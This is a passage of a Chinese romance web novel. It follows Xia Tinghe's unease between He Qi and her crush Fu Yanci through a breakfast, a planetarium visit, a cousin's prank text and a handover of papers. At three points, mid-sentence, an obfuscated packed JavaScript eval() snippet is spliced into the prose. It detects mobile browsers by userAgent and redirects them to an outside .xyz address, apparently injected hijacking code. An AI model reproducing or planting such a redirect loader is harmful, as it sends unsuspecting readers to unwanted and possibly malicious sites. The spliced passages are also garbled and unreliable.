夏汀禾在心里安慰自己：等以后确定下来了，再和室友说。 贺祁在这时给她发了条消息。 “叮”的一下弹出来时，看到他的名字，心虚感瞬间更加强烈了。 缓了半分钟，等室友没再关注这上面来了，她才点开贺祁的对话框。 贺祁给她发了一张图片。 是在羽毛球馆拍的。 一眼看过去似乎只拍了个场地，等夏汀禾点进去了，才发现在角落里有一个她。 当时她头发散了，正咬着发圈扎起来。 结果旁边有几缕碎发老是弄不上去，她没耐心了，于是随便就弄了个发型。 没想到会被记录下来，夏汀禾问他：【你怎么拍我？】 【嗯？你不是也拍了我么？】 他说的是事实，当时和其他人一起玩时，夏汀禾觉得他拿球拍的样子还挺好看，莫名地，就拿手机照了一下。 当时不是在认真接别人的球么？怎么会发现她在偷拍的？ 夏汀禾找出另外一个理由来：【但是你拍的不好看】 贺祁还十分谦虚地向她请教：【哪不好看？】 【我在扎头发，动作、表情这些，都没摆好】 夏汀禾越说越生气了，明明有那么多可以拍的，这人怎么能偏偏抓到她不好看的那一刻。 【反正就是不好看】 她直接从相册里翻出自己拍的贺祁那张，发了过去。 这一通撒气下来，夏汀禾后知后觉自己的语气不好。 她以前都不会这样的。 夏汀禾开始反思自己是不是最近变得脾气有些大了。 蔺妤从小到大一直是把她当作温柔乖巧的好学生去培养，夏汀禾想得到她的认可，所以也一直按照她喜欢的模板去塑造自己，基本上从来不会对人生气。 即便遇到了不舒服的人和事，她也会习惯性地压下自己的情绪，在心里慢慢消化。 但是最近。 她好像已经在很多方面都超出了蔺妤帮她规划的轨道。 面对变化，人总会有未知的恐惧。 夏汀禾想要和贺祁道歉。 不过对面先一步回了她：【嗯，确实，你拍得更好】 意料之外的一句夸赞。 夏汀禾愣了下，打字的手停了下来，一时间不知道该说点什么。 直到一会儿后，贺祁又发了一遍刚才她的那张，说： 【但我还是觉得这张，更漂亮点】 【好了，删除了，不过怎么扎个头发还把自己弄生气了？】 似乎能想象出他笑起来，在自己耳边说这句话时的声音。 那些不安的情绪又全然消失。 紧接着，夏汀禾就感觉到脸颊有些微微发烫。 说什么啊。 夏汀禾努力地说服自己他指的是照片的构图，但第一反应骗不了人，她还是害羞了起来。 不知道要回点什么，她正打算就这样算了。 贺祁又问她：【明天去天文馆？】 像是在确认什么。 夏汀禾敲下回应：【嗯】 那边又接着说：【一起吃早餐？】 想了半天，没找到合适的回答，夏汀禾最后只回了一个简单的：【哦】 回完之后，她就把脸埋在了膝盖之间。 脸颊似乎已经比手上的温度还要高了。 - 蔺妤是在第二天早上回到家的。 到家了却没看见夏汀禾，她直接走到对面敲了下门。 蔺回绪正准备午休，听到了敲门声，这才打着哈欠来开门。 看见是她，脑子瞬间清醒过来，惊讶了下问：“姐，你什么时候回来的？” “刚刚。”蔺妤赶时间，没空和他闲聊，直接问：“夏汀禾去哪了？” “哦，你说小禾啊？”蔺回绪想了想早上夏汀禾出门时和他打的招呼。 “小禾和朋友出去玩了，要晚上才回来。” “她在这边哪来的朋友？” 从上次夏汀禾在古镇玩了大半天才回家，蔺妤就开始隐隐觉得不对劲。 夏汀禾并不喜欢出门，放假了基本上也是宅在家，要是大学里的几个室友不过来找她玩，她一般都不会出去。 蔺妤虽然平时在家的时间不多，但这些还是知道的。 “姐，你这不就小瞧人了？咱们小禾这么漂亮，性格又好，还是很多人想交朋友的。” 蔺回绪的人生格言就是多个朋友多条路，最喜欢小辈多出去社交，接触的人越多越好，不要老是沉迷于电子产品。 “再说了，她整天闷在家里也不好，现在有朋友约着一块出去转转，挺好的。” 公司那边又打来电话，蔺妤没再和他争辩，走到走廊一边去接了。 处理完事情，已经是半个小时之后的事。 她回到家，又收到亲弟弟发过来的消息。 【姐，你还没吃早餐吧？厨房里有煲好的排骨汤，应该还在保温，你记得喝了】 累了大半天，蔺妤确实有点饿了。盛了一碗汤喝，尝了一口，却不是往常的味道。 蔺妤疑惑了几秒，又发消息问：【这不是弟妹的手艺，是你做的？】 正想调侃几句还行，蔺回绪又给了她回复。 【怎么可能是我做的，你知道的，我这人就是厨房杀手。是小禾煲的，上回在我们这边喝了，可能是觉得你会喜欢，就问了她舅妈怎么做】 【排骨都是她早起跟着她舅妈去菜市场挑的，新鲜着呢】 看完消息，蔺妤停下了手上的动作。 她往这间住了十几年的屋子里看了看，觉得很熟悉又很陌生。 电视柜上的全家福早就被换下了，有关于他们一家其他记忆的东西也统统收了起来。 除了夏汀禾的房间依旧有生活的气息，其余的房间整洁得像是从来没有人住过。 她很多年都没这么认真地看过这里了。 也好像，很多年没好好地看过自己的女儿了。 她对夏汀禾的记忆，一直停留在那个做什么都需要征求爸爸妈妈同意，想要大人陪在身边的小女孩。 但夏汀禾似乎比她想象中还要成长得快。 - 夏汀禾和贺祁是在天文馆附近一起吃的早餐。 过了早点时间，店里没多少人，空荡荡的还剩了许多座位。 两个人随便挑了一个凉快的地方坐下，迅速点了餐。 几次一起吃饭得出来的经验，夏汀禾发现她和贺祁的口味重合度还挺高，基本上喜欢吃的都差不多。 店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545178|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的招牌汤粉端上来后，因为太烫，夏汀禾就先晾在了一边，尝了旁边的煎饺。 不知道是不是饿了的缘故，感觉味道格外不错。 上次在古镇买的年糕最后全被她吃了，夏汀禾有点不好意思，于是现在尝到喜欢的，她又一次问贺祁： “这个还挺好吃的，你要尝尝吗？” 平时和室友互相投喂惯了，她手上夹了一个，下意识地就送了过去。 等贺祁侧头看过来，目光落在她的手上时，夏汀禾这才反应过来自己在做什么。 脸颊一热，手也跟着轻微地抖动了两下。 但现在要是收回来，似乎又显得不太礼貌。 而且 ……这样不是能更快地拉近距离么？ 坚定了内心的想法，夏汀禾没松手，内心紧张得不行，表面却依旧强装镇定地说：“……就是有点烫，你注意一下。” “很烫么？”贺祁的手搭在她的椅背后，忽地凑了过来。 两个人之间的距离瞬间缩短。他的气息也随之覆盖上来。 对视着，她看到贺祁眼眸里带着漫不经心的笑意。 贺祁好像并没有别的意思，只是凑过来看一下，却让夏汀禾忍不住稍微后退了些，躲开了他的视线。 但就在她以为他会就这么尝一口时，这人又直起了身，自己拿筷子夹了一个。 似乎刚才没懂夏汀禾的意思，他给出评价：“是有点烫，不过还挺好吃的。” 夏汀禾慢半拍地回味过来。 她低着头应了一声后就没再说话，但心里同时又有点其他的异样情绪。 好像有那么一瞬间。 她其实挺期待贺祁会低头凑过来吃她手上的。 尤其是在看着她的时候。 - 从早餐店出来，两人直接走路去了天文馆。 天文馆开在市中心，地理位置便利，周末也有不少家长带着小孩来这边参观。 检票进去时，排在夏汀禾身后的就是一家三口。 小女孩不过四五岁的模样，这个年纪，正是对周围的一切都好奇的时候。一被家长带进来，她就兴奋地在展厅里问爸爸妈妈各种天马行空的问题。 小女孩的父母看着也像是高知分子，不会觉得烦，反而是耐心地蹲下来和她解释。 尽管很多知识从左耳进右耳就出去了，但小女孩依旧很满意，又拉着爸爸妈妈的手问：“那我们下个周末还能过来吗？我想你们陪我一起。” 她得到的是十分肯定的回答：“当然可以。” 一家人在这边逛完，便去了另外一边的展厅。 等着他们走了，夏汀禾才收回视线。 “看什么呢？”贺祁这时候检完票进来，站在她旁边问。 “没什么。”夏汀禾很快摇了摇头。 在她得到的消息里，贺祁家庭条件好，父母又都是大学老师，婚姻和谐。他应该是在爱里长大的，所以夏汀禾也很少和他提及自己家里的事。 “1号展厅好像在那边。”夏汀禾及时扯开了话题。 贺祁跟着她往1号展厅走。 直到中途。 夏汀禾忽地看见一抹熟悉的身影。 她瞬间停住了脚。 这一次她没认错人。 付言辞就站在离她不到两米远的地方。 他一身黑色运动装，身形挺拔，脸上和平时一样冷淡。 只是在发现夏汀禾时，眼眸里闪过一丝变化。 贺祁顺着夏汀禾的视线看过去，微垂着眼眸和付言辞对视了一眼。 两人的表情都称得上格外冷。 但贺祁在低头看向夏汀禾后，又漫不经心地笑了下，轻声问她： “碰见熟人了么？” 17. 朋友 贺祁其实并不知道夏汀禾原本要表白的人长什么样。 但他能看到。 夏汀禾在碰见对面的男生后，脸上浮现出来的慌乱、悸动以及…… 克制不住的喜欢。 这是他以前没在夏汀禾脸上发现过的。 他也是第一次知道，原来夏汀禾会这样，会这么小心翼翼地看着一个人，眼眸里都闪着光亮。 贺祁等着她的答案。 理智上他以为自己能保持旁观者的态度，随意观望，但等夏汀禾否认了，他才意识到，自己似乎并没有那么不在意。 “是我看错了。”夏汀禾摇了摇头。 她很快就主动走向1号展厅，和付言辞错开了路线。 明明已经失落地避开了眼神交流，却偏偏要骗他说不认识。 只有没彻底放下才会这么做。 长期处在需要察言观色的环境下，贺祁对这些情绪过于敏感，但正是因为经常收到刺激，他也很能袖手旁观，让自己不受影响。 然而，在看到夏汀禾这样后，他忽地觉得有点不太舒服，心底像是被人抓了一下，有些涩。 贺祁皱了下眉。 这不是他喜欢的。 又和他有什么关系？ 他没再继续问。 两个人各怀心事来到了1号展厅。 天文馆的流程和服务完善，一到展厅门口，就有志愿者围上来问是否需要讲解。 思绪还停在看见付言辞的那一刻，夏汀禾没注意听周围的声音。 在志愿者热情地问第二遍时，夏汀禾这才意识到有人在和自己说话，正准备回答，身后的人先一步替她回了： “谢谢，不过暂时不用了。” 是贺祁说的。 “那边研学的小朋友应该比我们俩更需要你。” 他脸上带着笑，语气又随和。 志愿者回头一看，对面果真有一大堆小学生等着讲解员，她和贺祁道了谢，心满意足地去了另外一边服务。 等志愿者走了，贺祁看向夏汀禾，问她：“还想看什么？” 他的语气淡了下来。 刚刚没有及时回应别人，夏汀禾已经有点羞愧了，现在被贺祁这么一问，她努力地记起自己来之前做的攻略，说了几个感兴趣的展厅。 贺祁没问她刚才走神的原因，在她说了之后，也带着她一一去逛了。 明明她才是当地人，但贺祁似乎对这里更熟悉些。 好像他已经来过了很多次。 因为心里装着事情，又偶尔担心会碰到付言辞，一小时的看展过程下来，夏汀禾几乎都是紧绷着的。 几年养成的习惯，尽管她已经提醒过自己很多次，可以装作没关系，但付言辞的出现，就是能这么轻而易举地把她所有的规划打乱，让她不得不去在意。 在意自己当下是什么样子的。 在意他有没有看到自己。 在意他……是不是发现了她是和别的男生一起过来的。 太过于紧张，以至于夏汀禾没有察觉到贺祁后来的话也越来越少。 到了最后，他们俩几乎没什么交流，都是很快速地看了一圈就出了天文馆。 再次回到大门口的台阶上，知道不会再碰见付言辞了，夏汀禾才彻底感觉放松了些。 一切回归正轨，她想按照原本的计划，再和贺祁一起去附近逛逛。 但还没说出口，贺祁先偏过头来问她：“你坐地铁还是打车回去？” 夏汀禾有点懵：“现在就回去了吗？” 来之前贺祁并没有说要逛多久，夏汀禾以为他一整天都有时间。 被她反问了，贺祁在这时候侧过头来看向她，脸色平常。 他很快又收敛了这点情绪，说：“我下午有事，不回民宿，待会儿直接从这边走了，你看你怎么方便吧。” 没想到他会临时有事，夏汀禾也没想耽搁。 只是突然被打断了预想中的路线，她一时间还不知道该选什么。 要是再多想一会儿，夏汀禾会说那她可以自己一个人在附近随便逛逛。 然而贺祁似乎看着挺着急的，于是她胡乱选了一个：“那、那我坐地铁吧。” 得到回答，贺祁送她到了地铁口。 道了别，很快，他就往别的方向离开了。 夏汀禾甚至还没来得及问他下午和晚上会不会回来。 一转眼又挤在人群里上了地铁，拉着拉环，夏汀禾看了眼路程。 原来从民宿到天文馆需要一小时。 明明来的时候也没觉得有这么漫长。 手机在这时候响了一声。 之前关于付言辞的事情早已烟消云散，说不上来是期待什么，夏汀禾很快就打开来看。 是舅妈给她发的消息。 【小禾，你是不是去天文馆玩了？我看到你和那个男生了，现在回民宿，我有话和你说】 - 赶在回民宿的路上，夏汀禾都感觉到自己的心跳越来越快。 等推开门看到舅妈坐在大厅里看电视，她的心跳几乎到达了顶峰。 舅妈其实很少过问她感情上的状况，但终究是家长，对于从来没有做过什么出格的事夏汀禾来说，她发过来的消息依旧有威慑力。 做了许久的心理准备，夏汀禾才敢过去。 要是舅妈问起，她直接说是朋友就好了，毕竟目前来说，她和贺祁，还……什么关系都没有。 只要澄清就好了。 夏汀禾这么想着，不经意之间又回忆起个把小时前贺祁的话。 她现在才慢慢感知出来，贺祁是不是有点生气了？ 没等她继续往下想，舅妈先朝她看了过来。 夏汀禾顿时更加慌张了。 刚才准备的说辞也全然忘记。 直到听见舅妈问：“这么快就回来了？不是说和朋友出去玩？” 夏汀禾：“？” 懵了几秒，夏汀禾疑惑着小声问：“……不是舅妈你发消息叫我回来的吗？” 舅妈笑了笑：“你这孩子，看错消息了吧，我刚看电视都快睡着了，哪有精神给你发消息。” 舅妈伸手去沙发上拿手机，想给她看聊天记录。 但原本放在身侧的手机却不见了。 “诶？我手机丢哪去了？” 夏汀禾帮着找了几分钟，很快，她反应过来：“表哥是不是回来了？” - 蔺澈是傍晚才回来的。 夏汀禾听到楼下的动静，立即就从房间里跑了出去。 这时的蔺澈一边被舅妈骂着，一边在厨房里捣鼓新买过来的空气炸锅。 他习惯性地左耳进右耳出，嘴上撒娇卖惨和老妈说一整天上班累都累死了，手上实验的动作半点没停。 直到看见夏汀禾过来了，他这才如释重负地跑过来。 “汀禾，哥买了空气炸锅，想吃什么大餐，随便说。” 蔺澈比夏汀禾大三岁，大学毕业后直接在市内的一家互联网公司上班，当程序员平时有点被逼疯的节奏，于是一到周末就开始在家里到处闯祸。 用舅妈的话来说，他是一天不挨骂就难受。 好在在夏汀禾面前，他还是会稍微维护一下哥哥的形象，比如偶尔出点没什么用的主意，让夏汀禾开车带他出去玩等等。 今天的挨骂指数达标，等着亲妈走了，蔺澈才拖着夏汀禾在客厅里坐下。 想起下午的事，夏汀禾无奈地问他：“表哥，今天的消息是你发的吧？” 蔺澈打了个响指，毫不犹豫地夸赞：“还是咱们汀禾聪明。” 说完，他看了下周围，又凑过来，小声问夏汀禾：“所以你和那什么付、付……” 蔺澈想了半天才记起来名字：“哦，付言辞！怎么样了？” 家里唯一知道夏汀禾喜欢付言辞的便是他了。 其实也是一次意外。 那天夏汀禾把她和付言辞的合照落在了客厅忘记拿了回来，当时蔺妤正好回来，正要往桌上看时，蔺澈眼疾手快地帮她收了起来，没被发现。 站在门口的夏汀禾已经害怕得脸色惨白。 之后等蔺妤走了，蔺澈去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545179|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏汀禾的房间把照片还给她，还特意强调：“哥哥我可什么都没看哦，也不会告诉姑姑的，你别想太多。” 蔺澈没说谎，他只大概瞥了一下，看到照片上的另一个是男生，至于男生长什么样，怕夏汀禾多想，他没再多看一眼。 夏汀禾也就是因为这点相信了他，把自己的秘密全部告诉了蔺澈。 知道后，蔺澈也替她保守着这个秘密，从来不会在有其他人的场合谈起，除非夏汀禾主动说，不然也很少会过问。 但是今天，蔺澈没想到夏汀禾已经开始约别人出去玩了，还正巧被他看到了。 这就让他不得不好奇一番了。 在他的印象里，除非十分肯定男生也喜欢自己，不然夏汀禾不可能会主动。 “我和他表白了。” 想起不久前的事情，夏汀禾低下了头，但心里似乎没有之前那么难过了。 不用继续问，蔺澈也能大概猜到结果。 他轻拍了拍夏汀禾的肩膀，琢磨了半天，想出词来安慰：“没事儿，被拒绝了也没什么，世界上这么多表白的人，哪能这么容易成功的？要不然，那些追你的男生你难道都得答应？咱们不差这点喜欢。” 说是这么说，但蔺澈也清楚夏汀禾的性子，知道她长情，才会喜欢付言辞这么久。要让她一下子从表白失败的心态里抽离出来，没那么容易。 气氛冷淡下来，两人各自沉默着，一时间没说话。 直到蔺澈突然想起什么，一拍大腿，道：“也不一定！” “男生嘛，又是长得帅的小伙子，不缺人追，高冷点也正常，但是你想想，他今天和你一起去的天文馆，是不是就证明——他对你至少是有好感的？” 蔺澈认真分析了一遍，从自己作为男生的角度来看，怎么想付言辞都绝对不可能拒绝夏汀禾的。 要是真没意思，付言辞不可能和她一起出去。 看他是误会了，夏汀禾摇了摇头解释：“他不是和我一起去的，我们是意外碰到的。” “意外？” 蔺澈心想意外碰见的，那付言辞还能总是出现在夏汀禾的附近？隔着许多人，眼神也似乎一直停在她身上？ 他心里大概清楚了是夏汀禾过于不自信。 都这样了，那男生肯定是愿意的，多追两下肯定就到手了。 男的在感情这方面，最知道自己想做什么。 他还想和夏汀禾分析一番，民宿门口忽地进来一个人。 夏汀禾很快就看了过去。 是贺祁回来了。 他们俩对视了一眼。 夏汀禾正准备打招呼，但看到她旁边还坐了个男生后，贺祁先错开了视线。 她心里莫名有一点异样的感觉。 说不上来是什么情绪。 但似乎有点难受。 贺祁没多说什么，径直转身准备上楼。 蔺澈是背对着门口，没察觉到有人进了民宿，他继续发问：“行吧，你说意外那就先当作意外。但现在不撒谎，问问自己的内心，你还喜不喜欢那个付言辞？” 其实心里是肯定还没有完全放下的，但夏汀禾动了动嘴唇，却回答不出来。 眼下她的思绪似乎在跟着另一个人走。 她看向另一边。 贺祁上楼的动作没停，像什么都没听到一般，继续迈上阶梯往房间去。 见夏汀禾没回答，蔺澈也没为难了，换了个简单地说：“好好好，你不想说那咱们就先不聊这个了。哦，对了，你今天不是一个人去的吧？旁边不是还有个男生？说是你的同学也不像啊，我以前也没见过。” 心脏猛地一跳。 夏汀禾又一次看向了楼梯口。 好在已经看不到人了。 然而实际上，贺祁其实在上了转角后，就停了下来。他懒散靠在墙上，目光透过栏杆往下看。 这个位置，正好是夏汀禾没办法看到的。 他听到夏汀禾磕磕绊绊地回答说：“他……他是我的朋友。” 连说是朋友都这么不确定。 他早该猜到的。 18. 机会 为了等贺祁打游戏，梁浩电视都懒得看了，一收到他回来了的消息，立即就从房间里跑了出来下楼接人。 结果走一半路，看见贺祁在楼梯口站着。 梁浩吹了下口哨：“诶诶，哥们，回点神，站那儿干什么呢？” 被他打断了，贺祁这才从阶梯走上楼。 梁浩习惯性地勾搭上他的肩膀，边催促着他开游戏边问：“今天你不是和夏汀禾去天文馆了？感觉怎么样？朝月也说想去，体验还不错的话我找个时间带她过去。” 被他一问，贺祁眼前又再度浮现出夏汀禾看那男生的神情。 “问你呢，你怎么不说了？” 直到梁浩又催了他一遍，贺祁才道：“还行吧。” 贺祁并不想过多地聊这方面的事，随便一句应付过去：“你想的话，可以试试。” “还行是什么？你好歹给句准话啊。” 贺祁被他摊手的动作逗笑，随便扯出一个理由：“我没逛太久，一小时看完的，下午回了趟家。” “你回家了？”梁浩有些惊讶，“好吧，那我回头问夏汀禾。” 贺祁“嗯”了一声，没再搭话。 两个人在沙发上坐下，等待游戏开始前，梁浩看了眼空荡荡的桌子，总觉得着少了点什么。 过了会儿，他抬头问旁边的人：“你要吃点啥？我去我房间拿点过来。” 打游戏不吃东西，怎么能算是放松？ 梁浩已经起身，贺祁直接回他：“拿你自己想吃的就行。” 梁浩还想说点什么，但转头肚子叫了一声，又给忘了。 等他回房间了，拿了一袋子食物过来，才想起了原本要说的话——贺祁好像一直不怎么喜欢吃东西，不仅是零食小吃这些，正餐也吃得很少。 和他一起出去，基本上都是他和祝朝月在大快朵颐，贺祁往往没吃几口就饱了。 难怪他比自己瘦。 这家伙不会是故意在控制饮食卷他吧？ 梁浩看了看自己即将要消失的腹肌，默默地把一盒小龙虾放回了冰箱。 回到房间，又一次瞥到贺祁坐在沙发上在拼乐高，梁浩好奇问了一嘴：“这东西这么有意思么？你怎么老玩这个？” 乐高其实是贺祁上次在游乐场无聊，随便买的，也谈不上喜欢。 只是拼了之后，觉得好像挺适合打发时间的，于是隔天又去选了一整个系列的。 梁浩对这种需要耐心的事情没什么兴趣，但几次都看见贺祁拼得这么起劲，他也把游戏先丢一边了，拿了一个过来玩玩。 没多久，问话的人变成了贺祁：“游戏还玩不玩？” 梁浩对他摆了下手：“下次再玩吧，我的超跑马上要拼好了，你再等等。” 贺祁：“……” 理所当然地猜到了结局，贺祁起身去拿了瓶矿泉水喝。 房间里一时间安静得只剩下了脚步声。 过了会儿，瞥到个回来的人影，梁浩想问他超跑怎么少了个轮子，贺祁突然间先开了口：“你和祝朝月谈多久了？” “啊？”梁浩一开始还没听明白他的问题。 贺祁从来问过他的私事，梁浩偶尔和他分享，他都是随便敷衍两句。 “快两年了吧。” 梁浩算了下，他们是高考后在一起的。 是祝朝月先追的他。别的女生好歹都有个试探的前奏，她不一样，一上来就直接和梁浩表白了，见他没拒绝，当天晚上就亲了他。 虽然亲的是脸，但梁浩以前也没碰过这么大胆的，还是有点招架不住，第二天稀里糊涂地就答应了在一起。 想到当时的场景，梁浩还有点不好意思，不过看向贺祁，他又更加疑惑了：“你问这个做什么？” 他一个单身狗好奇这个干吗？ 不知道想到了什么，贺祁出神了片刻，过了会儿，才笑了下回应：“没什么，无聊，随便问问。” 梁浩又确认了一遍：“真没什么？” 贺祁：“昂。” 梁浩若无其事地“哦”了一声，转头就当着他的面，飞速发语音告诉了女朋友。 “宝宝我和你说，某个单身狗居然好奇咱俩的事了，你说是不是有鬼啊？” 贺祁：“…………” - 被蔺澈拉着问了一晚上的话，一直到回了家后，夏汀禾才忽地担心起来——贺祁会不会听到了他们的谈话？ 再进一步想，比起被他知道自己暗恋付言辞的事，她更在意的，似乎是贺祁的看法。 一整晚上想着这件事，夏汀禾在床上翻来覆去地没睡着觉。 醒了之后，听到手机提示音，她迅速拿过来看。 然而并不是。 贺祁昨天之后也没再给她发消息。 本来是计划在家里随便做个早餐吃，洗漱完后，夏汀禾却不由自主地换了鞋出门。等到锁上门了，她才意识到自己心里是更想去民宿吃的。 没违背心里的意愿，夏汀禾边往民宿走，边打开刚才收到的消息。 是班长给她发过来的。 说是她之前填写奖学金申请材料不全，要她重新提交一份，还顺便提醒了她，她这学期的社会实践没有完成，暑假内记得补上。 社会实践本应该是在校期间就可以做的，当时夏汀禾忙着准备比赛，没和室友一起去，后来遇上考试，就自然而然被推了。 这个不着急，而且也好办。 紧急的是奖学金材料，其中有需要手写的部分，夏汀禾也没办法全部让还在学校的同学帮忙打印。 两个人同时犯了难。 夏汀禾正思索着要不找个时间寄快递过去，班长恍然大悟，给她出了个主意：【哦，对了，付言辞好像这段时间就在你家那边。他正好今天下午回学校走交换生的申请流程，你填了之后，直接让他帮忙带过来吧】 交换生是他们专业特有的项目，每年学校会选择一批学生送到国外的合作高校进行交流学习，为期半年，学费全包，生活费可以报销一半，算是学校对王牌专业的支持。 选择的规则是学生自愿申请和成绩排名在专业前三。 夏汀禾的综合成绩一直是在五到七名徘徊，所以也很少关注这一方面的消息。 要不是班长提醒，她都差点忘了付言辞会去报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545180|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名参加。 在夏汀禾愣神的这一片刻，班长又给她发了条消息：【我已经问了付言辞，他说可以，那你们就自己约个时间地点吧】 前面发生了太多事，夏汀禾没办法做到立即去联系付言辞。 她只能犹豫地回了班长一句好，没再作过多的回应。 到了民宿，点了一碗米线后，夏汀禾在餐厅找了个位置坐下，她低着头，想着该怎么开口。 这是她以前求之不得的和付言辞交流的机会。现在拥有了，却好像没有想象中地欣喜。 没等她想清楚，旁边突然多了个人。 “嘿，汀禾。” 是祝朝月。 夏汀禾很快挪了下座位，让她坐在自己旁边。 “你也来这边吃早餐吗？你点的什么啊？给我参考参考。梁浩那家伙口味太诡异了，我要是跟他点一样的，八成得胃痛。” 夏汀禾告诉了她自己选的米线。 “哦，那我也点这个吧。” 看着祝朝月，夏汀禾尽量让自己的问话显得不经意些：“……梁浩他也来这里吃吗？” 祝朝月专注看菜单，没深想她的话，直接回答：“嗯，我本来是打算在公司附近吃的，他拖着我过来，说你们家民宿餐厅味道非常不错，让我尝尝。” 得到肯定的答案，夏汀禾突然有些坐立不安。 但又隐约有点期待。 比知道了她可以和付言辞再次见面后的期待，似乎还要更多一点。 直到几分钟后，梁浩从楼上下来。 夏汀禾往他身后看了看，只看到了他一个人。 “诶，贺祁呢？他不吃早餐？”祝朝月问了一句。 梁浩挨着女朋友坐下，给她到了一杯热水后，说：“他好像很早就出去了，可能有什么事吧。” 夏汀禾没说话，视线又重新回到了眼前。 这时梁浩敲了下桌面，问她：“诶，夏汀禾，你昨天在天文馆感觉怎么样啊？有不有意思？” 昨天根本没有认真看，夏汀禾不好意思评价，只能凭借刚进去时的印象，给了他一点建议。 她嘴上回着话，思绪却已经飘到了别的地方去。 他会去哪？ 出去也不和朋友一起的么？ 这段时间相处下来，夏汀禾发现贺祁并不怎么依赖身边的人，虽然朋友多，但他更习惯独来独往。有没有人陪着，都无所谓。 周围的人对他来说，总是有种可有可无的感觉。 而他好像确实一个人也可以过得很好。 “听起来还挺有意思的，下次我和朝月再去看看。” 梁浩一句话把夏汀禾拉了回来。 她装作听到了他前面的话，胡乱地点了点头。 说完，梁浩又忽地笑了起来：“但怎么感觉你和贺祁都没什么兴趣？你们俩回答的都差不多，建议我自己去体验。是那边人太多了吗？” 他对天文馆没什么兴趣吗？ 当时的注意力都放在付言辞身上，她也没关注贺祁，现在被这么问了，夏汀禾只能说一句：“嗯……人是挺多的。” 她突然有些后悔了。 19. 选择 后悔什么呢？ 是后悔当时没有直接凑过去和付言辞说话，还是没有认真逛天文馆？ 夏汀禾自己也说不清楚。 她第一次在有关付言辞和其他选择中纠结。 以往她会毫不犹豫地选择前者，不过现在，她好像慢慢有了其他的想法。 心里又开始乱了起来，旁边的梁浩和祝朝月仍在聊天，但夏汀禾什么都没听进去了，注意力全然放在了错乱的思绪上。 无知无觉地解决了一顿早餐，收了餐盘，回到座位上，夏汀禾终于点开了付言辞的聊天头像。 看到熟悉头像的那一刻，她再次感受到了心脏的悸动。 这是她以前会躲在被子里小心翼翼点开无数次的对话框。 付言辞从来不会知道，但她自己永远都会记得。 他们的聊天记录还停留在那天付言辞问她要不要一起打羽毛球。 原来才过去了半个多月而已。 然而回想起那天她哭得痛彻心扉的场景，夏汀禾却觉得已经很远了。 没再继续往上翻，她直接在对话框里输入原本想好的措辞。 深呼吸好一会儿后，她紧张不安地点了发送。 付言辞在几分钟后回了她。 【十一点见面方便么？地点你定】 看到消息，莫名地，夏汀禾慢慢平静了下来。 似乎并没有想象中的喜悦。 - 夏汀禾最终把地点定在了附近的一家书店。 书店门口有专门的休息区，旁边就是奶茶店，不少学生拎着一杯奶茶出来，转头就坐在了书店门口的沙发上坐下，边喝边和朋友聊天。 没有让别人等自己的习惯，夏汀禾提前了几分钟过去。 她没想到付言辞也早来了。 过去的时候，付言辞已经坐在了位置上。 兴许是因为下午要去学校见老师，他穿得稍微正式了些，平日里的黑t换成了白衬衫，休闲裤也被黑色的西裤替代。 夏汀禾是第一次见他这样的装扮，一时间愣了神。 付言辞无疑是好看的。 只是现在这样，更让她觉得有距离感。 “夏汀禾。”以为她没找到地方，付言辞抬了下手，“这边。” 他的声音依旧是清冷平淡的。 夏汀禾低着头走了过去，在他对面坐下后，也找不到合适的话来说。简单的寒暄过于客套，再随性一点的打招呼又不太适合他们之间尴尬的关系。 他没开口问，夏汀禾也没主动说。 她把资料整理好放在了透明文件袋里，递了过去。 “这些是我需要交过去的材料。” 线上已经说得清楚，没必要再做过多解释。 好一会儿，夏汀禾才又挤出一句：“麻烦了。” 她记得自己以前并不想对付言辞说这一类的话，因为夏汀禾的习惯如此，只有对关系生疏的，她才会时不时把谢谢挂在嘴边。 付言辞之前是不在这一列的。 说完之后，夏汀禾自己都怔愣了一下。 付言辞“嗯”了一声，接了过来，没有过多看，直接把东西收进了背包里。 没有什么可聊的，但付言辞也没有要走的意思。 两个人就这么干坐着。 放在一个月前，这应该是夏汀禾最期待的时刻。不过现在，那点期待莫名地都不见了。 夏汀禾觉得很奇怪，也有些不安。 她应该还是喜欢他的。 夏汀禾在这时想起来自己拜托了别人，还没有给谢礼，像是心里执拗着一般，她看向对面，温声温：“你吃午餐了吗？” 要是没吃的话，她请他一次，应该是可以的吧？ 只要在延长一点时间，她应该就会再次心动的。 然而，付言辞拒绝了：“不用了。” 意料之中的。 夏汀禾低下了头。 她早该知道他不会答应的。 正是因为夏汀禾低下了头，所以她没看到，付言辞在发觉她失落之后，侧过脸瞥向了另一边，放在桌下的手也忍不住掐了掐。 他在强压着情绪。 